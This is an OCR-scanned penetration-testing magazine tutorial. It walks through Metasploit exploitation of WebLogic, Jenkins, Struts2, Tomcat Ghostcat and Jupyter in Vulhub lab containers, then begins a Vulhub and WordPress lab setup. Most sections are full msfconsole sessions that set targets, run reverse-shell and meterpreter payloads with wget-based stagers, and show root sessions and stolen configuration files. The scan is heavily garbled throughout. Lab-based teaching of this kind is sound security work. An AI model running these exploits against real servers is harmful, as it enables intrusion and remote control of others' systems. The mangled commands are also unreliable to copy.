Oracle WebLogic Handle RCE Module

TARGET: WeblLogic 10.3.6.0.0, 12.1.3.0.0.,12.2.1.3.0, 12.2.1.4.0, 14.1.1.0.0
TYPE: Remote Module: Exploit ANTI-Malware : NA

Oracle WeblLogic Server is an application server is a Java EE (Enterprise Edition) application
server. It is a unified and extensible platform for developing, deploying and running enterprise
pplications, such as Java, for on-premises and in the cloud. The above mentioned versions
ave a path traversal and a Java class instantiation vulnerability in the handle implementatio
-n of WebLogic's administration Console. These are used by this exploit module to execute c

pde as WeblLogic user.

We have tested this on Oracle WebLogic 12.2.1.3.9 Vulhub. The installation information
for vulhub is given in the Installit section of this Issue. Let 's set the target first. In the director-
v vulhub-master, navigate to the weblogic directory, then navigate to the CVE-2020-14882 dir
-rectory.

$ cd weblogic
. I

$ cd CVE-2020-14882
kaliadkali: . P
l.png 2.png 3.png 4.png docker-compose.yml README.md README.zh-cn.md

Start the docker container as shown below.

jakali: $ docker-compose up ~-d
Creating network "cve-2020-14882 default®™ with the default driver
Pulling weblogic (vulhub/weblogic:12.2.1.3-2018) ..
12.2.1.3-2018: Pulling from vulhub/weblogic
4040fe120662: Pull complete
5788a5fddfee: Pull complete
B8fc159ecf27: Pull complete
138d86176392: Pull complete
586a610c1cB83: Pull complete
8362c571cl4a: Pull complete
d4802e4acld2: Pull complete
Digest: sha256:8ddf63d192426e521e60c2db913602394a7999211b391909%4aef012e3ad6b13f
Status: Downloaded newer image for vulhub/weblogic:12.2.1.3-2018
Creating cve-2020-14882 weblogic_ 1
$ B

After the container is ready, load the exploit/multi/http/weblogic admin handle rce module.




msf6 > search weblogic

Matching Modules

Name Disclosure Date Rank
Description

exploit/linux/misc/jenkins_java_deserialize 2015-11-18
Jenkins CLI RMI Java Deserialization Vulnerability
exploit/linux/misc/opennms_java_serialize 2015-11-06
OpenNMS Java Object Unserialization Remote Code Execution
exploit/multi/http/oracle_weblogic wsat_deserialization_rce 2017-10-19
Oracle Weblogic wls-wsat Component Deserialization RCE
exploit/multi/http/weblogic admin_handle_rce 2020-10-20
Oracle WebLogie Server Administration Consolée Handle RCE
exploit/multi/misc/weblogic deserialize 2018-04-17 manual
Oracle Weblogic Server Deserialization RCE
exploit/multi/misc/weblogic deserialize_asyncresponseservice 2019-04-23

msf6 > use 3
Using configured payload windows/x64/meterpreter/reverse_https
msf6 exploit(multi/http/weblogic_admin handle_rce) > show options

Module options (exploit/multi/http/weblogic_admin_handle_rce):

Name Current Setting Required Description

Proxies A proxy chain of format type:host:port(,type:host:port)
. )
RHOSTS yes The target host(s), range CIDR identifier, or hosts fil
e with syntax 'file:<path>’

RPORT 7001 yes The target port (TCP)

SRVHOST 0.0.0.0 yes The local host or network interface to listen on. This
must be an address on the local machine or 0.0.0.0 to listen on all addresses.

SRVPORT 8080 yes The local port to listen on.

[.

SSL false no Negotiate SSL/TLS for outgoing connections

SSLCert no Path to a custom SSL certificate (default is randomly g
enerated)

TARGETURI / Base path

URIPATH The URI to use for this exploit (default is random)

VHOST HTTP server virtual host

Payload options (windows/x64/meterpreter/reverse _https):

Name Current Setting Required Description

EXITFUNC process Exit technique (Accepted: , Seh, thread, process, none

LHOST The local listener hostname
LPORT 8443 The local listener port
LURI The HTTP Path

the required options and use check command 1o verl y I the l&l’g&t IS Indeeda vuinerap

e

msfb Elplﬂil(TLiftht{p weblogic_admin handle _rce) > set rhosts 172.21.0.2
rhosts = 172.21.0.2

msf6 exploit(multi/http/weblogic_admin_handle_rce) > set lhost 172.21.0.1
Lhost = 172.21.0.1

msf6 E!plﬂit(-‘*-%-"tl http/weblogic_admin_handle rce) > check

(+] 172.21.0.2:7001 - The target is vulnerable. Path traversal successful.
msfé Elplﬂit(”'1.1. ti/http/weblogic_admin _handle rce) > S.

et the target to UNIX (since we are using a UNIX target).




msf6 exploit(multi/http/weblogic admin handle rce) > show targets
Exploit targets:

Name

Unix Command
Linux Dropper
Windows Command
Windows Dropper
PowerShell Stager

msf6 exploit(multi/http/weblogic_admin_handle_rce) > set target 0
target = 0
msf6 exploit(multi/http/weblogic_admin_handle_rce) > §

After all the options are set, execute the module.

l1_$f_6 Elplﬂit("t:'.?.; Nttp/weblogic admin handls :'r-) > run

Started reverse SSL handler on 172.21.0.1:8443
Executing automatic check (disable AutoCheck to override)
l+] The target is vulnerable. Path traversal successful.
Executing Unix Command for cmd/unix/reverse_python_ssl
Command shell session 2 opened (172.21.0.1:8443 — 172.21.0.2:37454) at 2021-02-07 09:18:30

-0500
Command shell session 3 opened (172.21.0.1:8443 — 172.21.0.2:37456) at 2021-02-07 09:18:30

-0500

id

uid=1000(oracle) gid=1000(oracle) groups=1000(oracle)

uname -a

Linux abcfd3fB83d65 5.4.0-kalil-amd64 #1 SMP Debian 5.4.13-1kalil (2020-01-20) xB6_64 xB86_64 x86_
64 GNU/Linux

This should give us a command shell on the target. The description of this exploit module me
-ntioned that there may be a chance of multiple shells being opened so it is a normal operatio
-N.

Jenkins CLI Deserialization RCE Module

TARGET: Jenkins < 2.54 TYPE: Remote Module: Exploit
ANTI-Malware : NA

Uenkins is a free and open source automation server that helps automate the parts of softwar
-e development related to building, testing, and deploying, facilitating continuous integration
gand continuous delivery. The above mentioned versions have a Java object deserialization
vulnerability. This vulnerability is found in the Jenkins CLI remoting component.

We have tested this on Jenkins version 2.46.1. in Vulhub. The installation information fo
-r vulhub is given in the Installit section of this Issue. Let 's set the target first. In the directory
vulhub-master, navigate to the jenkins directory and then navigate into CVE-2017-1000353
directory.

kaliakali: s cd jEﬂkiﬂS
L2l $ s

$ cd CVE-2017-1000353
$ s

s
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hen, start the jenkins docker container.

kaligkali: $ docker-compose up -d
Creating network "cve-2017-1000353_default® with the default driver
Pulling jenkins (vulhub/jenkins:2.46.1) ...

2.46.1: Pulling from vulhub/jenkins

e79bb959%ec@®®: Pull complete

d4b7902036fe: Pull complete

1b2a72d4e@30: Pull complete

d54db43011fd: Pull complete

1a97c78dad71: Pull complete

6dcb79eeedasd: Pull complete

bd56246¢cf4fd: Pull complete

88ceabdf56¢c5: Pull complete

28586dfa23be: Pull complete

799d573b8716: Pull complete

ecbaS57fcb6b9: Pull complete

70c5354d7760: Pull complete

£162070b541b: Pull complete

b59777bbcedc: Pull complete

3234ad63210f: Pull complete

Digest: sha256:4de799755dae9cf90788f42daf8f5ddefb75dbcadb24c0cad9540ed9c02fcel2d
Status: Downloaded newer image for vulhub/jenkins:2.46.1
Creating cve-2017-1000353_jenkins_1 ...

kaliakali: $ B

Once the target is ready, load the exploit/linux/nttp/jenkins cli_desernalization module.
msf6 > search jenkins

Matching Modules

8 Name Disclosure Date
Description

auxiliary/gather/jenkins cred_recovery

Jenkins Domain Credential Recovery

1 auxiliary/scanner/http/jenkins command
Jenkins-CI Unauthenticated Script-Console Scanner

2 auxiliary/scanner/http/jenkins enum
Jenkins-CI Enumeration

3 auxiliary/scanner/http/jenkins login
Jenkins-CI Login Utility

& auxiliary/scanner/Jenkins/jenkins udp_broadcast_enum
Jenkins Server Broadcast Enumeration

5 exploit/linux/http/jenkins cli_deserialization 2017-04-26

b ——————————————
msf6 > use 5
Using configured payload linux/x86/meterpreter/reverse_tcp
msfé6 exploit(linux/http/jenkins cli _deserialization) > show options

Module options (exploit/linux/http/jenkins _cli_deserialization):

Name Current Setting Required Description

Proxies A proxy chain of format type:host:port|,type:host:port)
-

RHOSTS yes The target host(s), range CIDR identifier, or hosts fil
e with syntax 'file:<path>’

RPORT 8080 yes The target port (TCP)

SRVHOST 9.0.0.9 yes The local host or network interface to listen on. This
must be an address on the local machine or 0.0.0.0 to listen on all addresses.

SRVPORT 8080 yes The local port to listen on.

SSL false no Negotiate SSL/TLS for outgoing connections

SSLCert no Path to a custom SSL certificate (default is randomly g

enerated)
TARGETURI / yes The base path to Jenkins




SSLCert Path to a custom SSL certificate (default 1s randomly g
enerated)

TARGETURI / The base path to Jenkins

URIPATH The URI to use for this exploit (default is random)

VHOST HTTP server virtual host

Payload options (linux/x86/meterpreter/reverse_tcp):

Name Current Setting Required Description

LHOST The listen address (an interface may be specified)
LPORT 4444 yes The listen port

Set all the required options and use check command to verify if the target is indeed vulnerabl

msf6 exploit(l http/jenkins cli deserialization) > set rhosts 172.20.0.2
rhosts = 172, 29 B 2
msf6 exploit(linux/http/jenkins cli deserialization) > set lhost 172.20.0.1
Lhost = 172.20.0.1
msf6 exploit(Llinux/http/jenkins_cli_deserialization) > set srvport 8082
srvport = 8082
msf6 exploit(linux/http/jenkins cli_deserialization) > check
172.20.0.2:8080 - The target appears to be vulnerable Jenkins version 2.46.1 detected
msfb Elplﬂlt(.trt- http/jenkins cli deserialization) > .

After all the options are set, execute the module.
msf6 exploit(linux/http/jenkins cli deserialization) > run

Started reverse TCP handler on 172.20.0.1:4444

Executing automatic check (disable AutoCheck to override)

The target appears to be vulnerable. Jenkins version 2.46.1 detected
Sending payload...

Using URL: http://0.0.0.0:8082/WbMQet

Local IP: http://192.168.36.134:8082/WbMQet

Client 172.20.0.2 (wget/1.18 (linux-gnu)) requested /WbMQet

Sending payload to 172.20.0.2 (wget/1.18 (linux-gnu))

Command Stager progress - 49.06%X done (52/106 bytes)

Command Stager progress - 69.81%X done (74/106 bytes)

Sending stage (980808 bytes) to 172.20.0.2

Meterpreter session 1 opened (172.20.0.1:4444 — 172.20.0.2:44156) at 2021-02-07 10:19:52 -0

Command Stager progress - 82.08% done (87/106 bytes)
Command Stager progress - 100.00% done (106/106 bytes)
Server stopped.

meterpreter > sysinfo

Computer : 172.20.0.2

0s : Debian 9.8 (Linux 5.4.0-kali3-amd64)

Architecture : xb64

BuildTuple : 1486-1inux-musl

Meterpreter : x86/1linux

meterpreter > getuid

Server username: jenkins @ 2b716153851c (uid=1000, gid=1000, euid=1000, egid=1000)
meterpreter > §

his should successfully give us a meterpreter session on the target.

Apache Tomcat - Ghostcat File Read / Inclusion Module

TARGET: Apache Tomcat TYPE: Remote Module: Auxiliary
ANTI-Malware : NA




Apache Tomcat is an open source HT TP web server based on Java. Ghostcat is a file inclusi
on vulnerability that was detected in Tomcat Servers at the beginning of the year 2020. This
ulnerability is in the Apache Jserv Protocol (AJP) used by Tomcat to perform different opera
tions.

We have tested this on Tomcat version 9.0.30 in Vulhub. The installation information for
ulhub is given in the Installit section of this Issue. Let 's set the target first. In the directory
ulhub-master, navigate to the tomcat directory and then navigate into the CVE-2020-1938 di
rectory.

kaliakali: $ cd tomcat
kaliakali: $p‘ls

kaligkali: $ c¢d CVE-2020-1938

hen, start the tomcat 9.0.39 docker container.

kalidkali: $ cd CVE-2020-1938

kaliakali: $ docker-compose up -d
Creating network "cve-2020-1938_default®™ with the default driver
Pulling tomcat (vulhub/tomcat:9.0.30) ...

9.0.30: Pulling from vulhub/tomcat

dc65f448a2e2: Pull complete

346ffb2b67d7: Pull complete

dea&ecac934f: Pull complete

8ac92ddf84b3: Pull complete

d8ef64070a18: Pull complete

6577248b0d6e: Pull complete

576c0a3abaf9: Pull complete

6e0159bd18db: Pull complete

acbdffd7df48: Pull complete

6a8292ccd53f: Pull complete

17870aa0b306: Pull complete

Digest: sha256:568d9a8b3206501bfe2b15980287013cadabf45¢c33db54987736b4ec®5502c14
Status: Downloaded newer image for vulhub/tomcat:9.0.30

Creating cve-2020-1938_tomcat_1

kaliakali: s .

Dnce the target is ready, load the auxiliary/admin/http/tomcat_ghostcat module.

msf6 > search tomcat

Matching Modules

Name Disclosure Date
Description

auxiliary/admin/http/ibm_drm_download 2020-04-21
IBM Data Risk Manager Arbitrary File Download
auxiliary/admin/http/tomeat administration

Tomeat Administration Tool Default Access

auxiliary/admin/http/tomeat ghostcat 2020-02-20
ohostcat

auxiliary/admin/http/tomeat utf8_traversal 2009-01-09
Tomcat UTF-8 Directory Traversal Vulnerability
auxiliary/admin/http/trendmicro_dlp_traversal 2009-01-09
TrendMicro Data Loss Prevention 5.5 Directory Traversal
auxiliary/dos/http/apache _commons fileupload dos 2014-02-06




msfé > use 2
msfé6 auxiliary(admin/http/tomcat_ghostcat) > show options

Module options (auxiliary/admin/http/tomcat_ghostcat):

Name Current Setting Required Description

FILENAME /WEB-INF/web.xml File name
PORTWEB no Set a port webserver

RHOSTS yes The target host(s), range CIDR identifier, or hosts fil
e with syntax 'file:<path>’

RPORT yes The target port (TCP)
SSL false yes SSL

mcat_ghoste -*T) > .

f you have seen in the above image, the FILENAME to read is set to /WEB-INF/web.xml. Thi
s file is the configuration file Apache Tomcat. This module will read this file by exploiting the
lle inclusion vulnerability. Set all the required options.

msf6 auxiliary(admin/http/tomcat _ghostcat) > set set rhosts 172.21.0.2
set = rhosts 172.21.0.2

msf6 auxiliary(admin/http/tomcat _ghostcat) > set rport 8009
rport = 8009
msf6 auxiliary(admin/http/tomcat_ghostcat) > §

After all the options are set, execute the module.

Eﬁiﬁ auxiliary(dur;n nttp/tomcat gnual;at) > run
Running module against 172.21.0.2

Status Code: 200

Accept-Ranges: bytes

ETag: W/"1227-1575737175000"

Last-Modified: Sat, 07 Dec 2019 16:46:15 GMT

Content-Type: application/xml

Content-Length: 1227

<?xml version="1.0" encoding="UTF-8"7>

o —

Licensed to the Apache Software Foundation (ASF) under one or more
contributor license agreements. See the NOTICE file distributed with
this work for additional information regarding copyright ownership.
The ASF licenses this file to You under the Apache License, Version 2.0
(the "License”); you may not use this file except in compliance with
the License. You may obtain a copy of the License at

http://www .apache.org/licenses/LICENSE~-2.0

Unless required by applicable law or agreed to in writing, software
distributed under the License 1s distributed on an "AS IS" BASIS,
WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
See the License for the specific language governing permissions and
limitations under the License.

_i

<web-app xmlns="http://xmins.jcp.org/xml/ns/javaee"”
xmins:xsi="http://wew .w3.org/2001/XMLSchema-instance”
xsi:schemalocation="http://xmins.jcp.org/xml/ns/javaee

http://xmlns. jcp.org/xml/ns/javaee/web-app_4&_0.xsd"
version="4.0"
<cdisplay-name>Welcome to Tomcat</display-name>
<description>
Welcome to Tomcat

</description>

</web-app>

(+] 172.21.0.2:8009 - /home/kali/.msf4/100t/20210207103108 default 172.21.0.2 WEBINFweb.xml 6619
71.txt

Auxiliary module execution completed
msf6 auxiliary(admin/http/tomcat_ghostcat) > B




As you can see, the web.xml file is successfully downloaded.

Jupyter Login Scanner Module

TARGET: Jupyter Notebooks TYPE: Remote Module: Auxiliary
ANTI-Malware : NA

Uupyter Notebook is an open-source web application that allows users to create and share do
-cuments that contain live code, equations, visualizations etc. This Login scanner module che
-cks if a Jupyter Lab or Jupyter Notebook server requires any authentication. If the server req
-uires authentication, the module will try bruteforcing it. By default, Jupyter only requires only
asswords for authentication and don't require any ussernames. This module works on versi-
En 4.3.0 and newer. This is because version 4.3.0 is the first version in which authentication
IS required by default.
We have tested this on Jupyter version 5.2.2. in Vulhub. The installation information for
vulhub is given in the Installit section of this Issue. Let 's set the target first. In the directory
vulhub-master, navigate to the jupyter directory and then navigate into the notebook-rce direc
-tory.
kaligkali: $ cd jupyter
ligkali: $ s

kalidkali: $ cd notebook-rce
kaligkali: s Ls
1.png 2.png docker-compose.yml README.md

+ 1

hen, start the docker container.

kaliakali: $ docker-compose up -d
Creating network "notebook-rce default®™ with the default driver
Pulling web (vulhub/jupyter-notebook:5.2.2) ...

5.2.2: Pulling from vulhub/jupyter-notebook

e@a’42c2abfd: Pull complete

486cb8339a27: Pull complete

dc6f0dB824617: Pull complete

4f7a5649%9a30e: Pull complete

672363445ad2: Pull complete

ecdd51c923e7: Pull complete

42885501cf6c: Pull complete

a91169574a99: Pull complete

4d0f6517ea26: Pull complete

95394e9265ac: Pull complete

8227¢59e3779: Pull complete

074b7bf56d53: Pull complete

JacdS5e85ad59: Pull complete

dc8d012al4e8: Pull complete

603aaSdc7ac7: Pull complete

500dc91del186: Pull complete

2fb070d66665: Pull complete

6abb44f3aee9: Pull complete

Digest: sha256:776723b15839b1696e47fdecf527¢c14ead0d3f0748064430ee1cB52¢c1a76468f
Status: Downloaded newer image for vulhub/jupyter-notebook:5.2.2
Creating notebook-rce web 1

Kaliakali: $ l

Once the target is ready, load the auxiliary/scanner/http/jupyter login module.




msf6 > search jupyter

Matching Modules

# Name Disclosure Date Rank Check Description

@ auxiliary/scanner/http/Jupyter login normal JUupyter Login Utilit

Interact with a module by name or index. For example

msf6 > use 0
msfé auxiliary(scanner/http/jupyter_login) > show options

Module options (auxiliary/scanner/http/jupyter_login):

Name Current Setting Required Description

BLANK PASSWORDS Try blank passwords for all users

BRUTEFORCE_SPEED yes How fast to bruteforce, from @ to 5

DB_ALL_PASS no Add all passwords in the current database to the

list

PASSWORD no A specific password to authenticate with

PASS FILE no File containing passwords, one per line

Proxies no A proxy chain of format type:host:port|[,type:hos
t:port]|[ ... ] _

RHOSTS The target host(s), range CIDR identifier, or ho
sts file with syntax 'file:<path>’

RPORT 8888 The target port (TCP)
SSL false Negotiate SSL/TLS for outgoing connections

TARGETURI / The path to the Jupyter application
THREADS | The number of concurrent threads (max one per ho

st)
VERBOSE wWhether to print output for all attempts
VHOST HTTP server virtual host

msf6 auxiliary(scanner

msf6 auxiliary(scanner/http/jupyter_login) > set rhosts 172.20.0.2
rhosts = 172.20.0.2
msfé aUIlliarv{ngAFW~r'ﬁff“ upyter iuq:u) > run

172.20.0.2:8888 - The server responded that it is running Jupyter version: 5.2.2
{+] 172.20.0.2:8888 - No password is required.

Scanned 1 of 1 hosts (100X complete)

Auxiliary module execution completed
msf6 auxiliary(scanner/http/jupyter_login) > §

As you can see, it confirms that the target doesn't need any authentication.

Apache Struts2 Eval OGNL RCE Module

ARGET:Apache Struts TYPE: Remote Module: Exploit
ANTI-Malware : NA

Apache Struts 2 is an open source web application framework that is used for developing Jav
a web applications. Struts uses OGNL(Object-Graph Navigation language) which is an open




source expression language for Java. The Apache Struts framework performs double evaluat
ion of attribute values assigned to certain tags when forced. This can be used by attackers t-
D pass a value to Struts multiple times. With a malicous and crafted request, he can execute
emote code on the target. However this is application dependent.

There are two vulnerability 1Ds with similar vulnerability of evaluating OGNL attributes
ultiple times. These are CVE-2019-0230 and CVE-2020- 17530. We have tested both this
ith the same module in Vulhub. The installation information for vulhub is given in the Installit

section of this Issue.

We have tested CVE-2019-0230 on Struts version 2..5.16 as al the versions of Struts pri
or to 2.5.20 are vulnerable. Let 's set the target first. In the directory vulhub-master, navigate
0 the struts2 directory and then navigate into the s2-059 directory.

$ cd struts2
$ cd s2-059
$ s
2.png docker-compose.yml README.md README.zh-cn.md

|

Start the docker container.

kaliakali: $ docker-compose up -d
Creating network “s2-059 default® with the default driver
Pulling struts2 (vulhub/struts2:2.5.16) ...

2.5.16: Pulling from vulhub/struts2

d6ff36c%ec48: Pull complete

c958d65b3090: Pull complete

edaf0abbe92f: Pull complete

80931cf68816: Pull complete

bfe4b6bbeddc: Pull complete

£1dcB8052672f: Pull complete

dbbc65a7534c: Pull complete

77418febcff5: Pull complete

7134b35eaff6: Pull complete

fe811a58cc5b: Pull complete

c10891cas55f1: Pull complete

154d291fd8e®: Pull complete

Digest: sha256:e3fael31ad9f736e33148d096b029889044398e18b24016F7037FFBbASCdf3fa
Status: Downloaded newer image for vulhub/struts2:2.5.16
Creating s$2-059 _struts2 1

kaliagkali: t s '

Once the target is ready, load the exploit/multi/http/struts2_multi_eval ognl module.

msf6 > search struts2

Matching Modules

# Name Disclosure Date Rank
ption

@ exploit/multi/http/SErUts? code_exec_showcase 2017-07-07
Struts 2 Struts 1 Plugin Showcase OGNL Code Execution

1 exploit/multi/http/SERUES2 content_type_ognl 2017-03-07
Struts Jakarta Multipart Parser OGNL Injection

2 exploit/multi/http/SEruts? multi eval ognl 2020-09-14
Struts 2 Forced Multi OGNL Evaluation

3 exploit/multi/http/SEPUES2 namespace_ognl 2018-08-22
Struts 2 Namespace Redirect OGNL Injection

& exploit/multi/http/SERULS2 rest xstream 2017-09-05
Struts 2 REST Plugin XStream RCE

5 exploit/multi/http/struts_code_exec_classloader 2014-03-06 NO




msf6 > use 2
No payload configured, defaulting to cmd/unix/reverse_netcat

msf6 exploit(multi/http/struts? multi_eval _ognl) > show options
Module options (exploit/multi/http/struts2_multi_eval_ognl):

Name Current Setting Required Description

CVE CVE-2020-17530 Vulnerability to use (Accepted: CVE-2020-17530, CVE-201
9-0230)

NAME 1d The HTTP query parameter or form data name

Proxies A proxy chain of format type:host:port|[,type:host:port)
L oee §

RHOSTS yes The target host(s), range CIDR identifier, or hosts fil
e with syntax 'file:<path>'

RPORT 8080 yes The target port (TCP)

SRVHOST 0.0.0.0 yes The local host or network interface to listen on. This
must be an address on the local machine or 0.0.0.0 to listen on all addresses.

SRVPORT 8080 yes The local port to listen on.

SSL false no Negotiate SSL/TLS for outgoing connections

SSLCert no Path to a custom SSL certificate (default is randomly g
enerated)

TARGETURI / yes A valid base path to a struts application

URIPATH no The URI to use for this exploit (default is random)

VHOST no HTTP server virtual host

Payload options (cmd/unix/reverse_netcat):

Name Current Setting Required Description

- -

LHOST 192.168.36.134 vyes The listen address (an interface may be specified)
LPORT 4444 yes The listen port

et all the required options and also set the target to "Linux Dropper”.

nsf6 exploit(multi/http/struts2 multi _eval_ L) > set rhosts 172.22.0.2
rhosts = 172.22.0.2

msfé6 exploit(multi/http/struts?2 multi eval ognl) > set cve CVE-2019-0230
cve = CVE-2019-0230

msf6 Elplﬂlt( wilti/http/struts?2 sulti eval ognl) > check

172.22.0.2:8080 - The target appears to be vulnerable.

msf6 exploit(multi/http/struts2 multi eval ognl) > set srvport 8083
srvport =% B083

msf6 exploit(multi/http/struts2 multi_eval _ognl) > set lhost 172.22.0.1
Lhost = 172.22.0.1

nsf6 exploit(multi/http/struts2 multi_eval_ognl) > B
e
msf6 exploit(multi/http/struts2 multi_ev ognl) > show targets

Exploit targets:

Id Name

0 Unix Command
1 Linux Dropper

msfé exploit(multi/http/struts2 multi_eval_ognl) > set target 1
target = 1
msf6 exploit(multi/http/struts?




msf6 exploit(multi/http/struts2 multi_eval ognl) > run

Started reverse TCP handler on 172.22.0.1:4444
Executing automatic check (disable AutoCheck to override)
l+] The target appears to be vulnerable.
Executing Linux Dropper for linux/x64/meterpreter/reverse_tcp using CVE-2019-0230
Command Stager progress - 44.15% done (362/820 bytes)
Sending stage (3008420 bytes) to 172.22.0.2
Meterpreter session 2 opened (172.22.0.1:4444 — 172.22.0.2:56838) at 2021-02-07 11:13:08 -0

Command Stager progress - 100.00% done (820/820 bytes)

meterpreter > sysinfo

Computer : 172.22.0.2

0S : Debian 10.5 (Linux 5.4.0-kali3-amd64)

Architecture : x64

BuildTuple : xB6_64~1inux-musl

Meterpreter : x64/linux

meterpreter > getuid

Server username: root § cafdcace®299 (uid=0, gid=0, euid=0, egid=0)

meterpreter > i

AS can be seen, we have a meterpreter session with root privileges on the target.

Let's test the same module on CVE-2020-17530. We have tested this on Struts version
2.5.25. All the versions of Struts prior to 2.5.25 are vulnerable. Let 's set the target first. In the
directory vulhub-master, navigate to the struts2 directory and then navigate into the s2-061 di
rectory.

alidkali:~$ cd vulhub-master
kaliakali: $ cd struts2

kaliakali: $15
READ“E md

ligkali: $ cd s2-061

:;'.-:L-JI'.'.: SI

Start the docker container.

kaliakali: $ docker-compose up -d
Creating network "s2-061 default®™ with the default driver
Pulling struts2 (vulhub/struts2:2.5.25) ..

2.5.25: Pulling from vulhub/struts2

756975¢cb9c7e: Pull complete

d77915b4e630: Pull complete

5f37a0a4l1b6b: Pull complete

96b2c1e36db5: Pull complete

27a2d52b526e: Pull complete

93a36defce60: Pull complete

9¢2014d79b30: Pull complete

ac71d4ce2ce4: Pull complete

a2f817e4badf: Pull complete

62ac51b7362f: Pull complete

e12f6705ebbe: Pull complete

4F4FfD700ef54: Pull complete

97ba98138d72: Pull complete

Digest: sha256:eaf49b95f2c178cca77d3cBaS4f7%a4febedidd9d342¢9e9a911e8425652174d2
Status: Downloaded newer image for vulhub/struts2:2.5.25
Creating s2-061_struts2_1

Dnce the target is ready, set all the required options as we did above and execute the modul-




msf6 exploit(multi/http/struts2 multi_eval _ognl) > set target 1
target = 1
msfé exploit(multi/http/struts2 multi _eval _ognl) > run

Started reverse TCP handler on 192.168.36.134:4444

Executing automatic check (disable AutoCheck to override)

The target appears to be vulnerable.

Executing Linux Dropper for linux/x64/meterpreter/reverse_tcp using CVE-2020-17530
Command Stager progress - 44.15% done (362/820 bytes)

Sending stage (3008420 bytes) to 172.21.0.2

Meterpreter session 1 opened (192.168.36.134:4444 — 172.21.0.2:40492) at 2021-02-14 21:00:5
8 -0500

Command Stager progress - 100.00% done (820/820 bytes)

meterpreter > getuid
Server username: root @ c8598a5a0599 (uid=0, gid=0, euid=0, egid=0)
meterpreter > i

As can be seen, we have a meterpreter session with root privileges on the target.
INSTALLING VULHUB IN KALI

INSTALLIT

etting instances of vulnerable software is one of the most important requirement for practici-
g penetration testing. Vulhub provides an open-source collection of pre-built vulnerable doc-
er environments. The best thing about Vulhub is that readers don't need any pre-existing kn
owledge of dockers and their operation. The only requirement is Docker should already be
nstalled on the system to be able to use vulhub. Let's see how to setup vulhub in Kali Linux.
n Kali Linux,, open a terminal and use wget to download the zip archive of vulhub. The down
load link for vulhub is given in our Downloads section.

kaliakali:~$ wget https://github.com/vulhub/vulhub/archive/master.zip -0 vulhub-master.zip
—2021-02-07 88:49:58— https://github.com/vulhub/vulhub/archive/master.zip

Resolving github.com (github.com) ... 13.234.176.102

Connecting to github.com (github.com)|13.234.176.102|:443 ... connected.

HTTP request sent, awaiting response ... 302 Found

Location: https://codeload.github.com/vulhub/vulhub/zip/master [following)

—~2021-02-07 08:49:58— https://codeload.github.com/vulhub/vulhub/zip/master

Resolving codeload.github.com (codeload.github.com) ... 13.127.152.42

Connecting to codeload.github.com (codeload.github.com)|13.127.152.42|:443 ... connected.
HTTP request sent, awaiting response ... 200 0K

Length: unspecified [application/zip)

Saving to: ‘vulhub-master.zip’

vulhub-master.zip [ &= ] 61.84M 5.00MB/s in 12s

2021-02-07 08:50:11 (5.19 MB/s) - ‘vulhub-master.zip' saved [64848037]

Once the download is finished, extract the contents of the vulhub-master.zip using unzip com
mand.

Kaliakalil: s ls
bind&444 . bin

1@kali:~$ unzip vulhub-master.zip”C
Ka il I"J-- : s 15
bind&44s . bin

-5 B




tart the docker service.

kali@kali:~$ sudo systemctl start docker
[sudo] password for kali:

Kaligkall: s l

Once the docker service is started, navigate into the vulhub-master directory and you should

see various vulnerable docker images.

:~$ c¢d vulhub-master
$ 1s

LICENSE

README . md
README . zh-cn.md

contributors.md
contributors.zh-cn.md

Let's start the wordpress docker container. Although this container is vulnerable with a differe
nt vulnerability, we will use it for another vulnerability. Navigate into the wordpress directory

nd start the docker container as shown below.

$ c¢d wordpress
$ s

kaliakali: $ c¢d pwnscriptum
iltl.j.l...‘: $ 15
L. png docker-compose.yml exploit.py README.md README.zh-cn.md
lj | i-';!.;, s.
e R —

kaligkali: $ docker-compose up -d
Creating network “"pwnscriptum default® with the default driver
Pulling mysql (mysql:5).

5: Pulling from 11brary/my5ql

45b42c59be33: Pull complete

b4f790bd91da: Pull complete

325ae51788e9: Pull complete

adcb9439d751: Pull complete

174c7felbc78: Pull complete

Belfb71e8df6: Pull complete

f75a34586856: Pull complete

8744e322b832: Pull complete

d5165bfce78f: Pull complete

bD2b136196504: Pull complete

81bf1b99fdd8: Pull complete

35a3191dcc29: Pull complete

735¢cc476985d: Pull complete

0a4f898db91b: Pull complete

a5b35cb2b4d6: Pull complete

20059ce99fb8: Pull complete

e99c76465725: Pull complete

0b52d24be4bd: Pull complete

Bef5d1815ceb: Pull complete

dee47558145c: Pull complete

Digest: sha256:970156180abadfcb4ad544c303196a3f55f33ffaBf4eaS610afB8402555410944
Status: Downloaded newer image for vulhub/wordpress:4.6
Creating pwnscriptum_mysql_1

Creating pwnscriptum_web 1

Kaliagkali: - 5.




Once the container Is started, use command docker ps to see all the docker processes runni-

ng.

kaliakali: $ docker ps
CONTAINER ID IMAGE LUMMAND CREATED

STATUS PORTS NAME S
2522cchBl4ae vulhub/wordpress: 4.6 */usr/local/bin/dock." 5 minutes ago

Up S minutes 0.0.0.0:8080-80/tcp pwnscri
ptum web 1
729c9bBacBaf mysql:5 “docker-entrypoint.s.” 5 minutes ago

Up 5 minutes 3306/tcp, 33060/tcp pwnscri
ptum _mysql_1
9a4d5e11233c sameersbn/bind:9.16.1-20200524 */sbin/entrypoint.sh." 6 months ago

Up 29 minutes 0.0.0.0:53-953/tcp, 0.0.0.0:10000-10000/tcp, 0.0.0.0:53-53/udp bind

s B

4*********

Every docker container has a container |D. The one with container |1D 2522cc IS ou
-r wordpress docker container. We can use command docker inspect <container id> to get m
~ore information about the Docker container.

$ docker inspect 2522cc4@24ae

"Id": "2522ccé40242e755e9e37009F76d729F273F96c56f035550b8512a3e0b96F837d",

"EndpointID®: "a4@b305281345e6a45bd3fce51255e196d67742356dae226a3a24e5¢7998¢

"Gateway": "172.22.0.1°,
"IPAddress”: "172.22.0.3"%,
IPPrETIXLEN Y 10,

“IPvbGateway”: ",
*GloballIPv6Address®: **,
“GlobalIPv6PrefixiLen®: 0,
"MacAddress”: "02:42:ac:16:00:03",

“DriverOpts®: null

The IP address of the wordpress docker container is 172.22.0.3. The Gateway address is tha
-t of the Kali host machine (172.22.0.1). Enter the |P address of the docker container in the b
-rowser and you will be prompted to set the password for the wordpress instance.




ere 1S the wordpress website we Just created (we wanted to set the site title as docker test
but mis spelled it to docket test).

I

docket test

Hello world!

Welcome to WordPress. This is your first post. Edit or delete it, then

start writing!

RECENT POSTS

Hello world

IGo to Exploit Database and download the wp-responsive-thumbnail-slider plugin. The downl-
joad information is given in our Downloads section. The plan is to install this vulnerable plugin
in Wordpress.
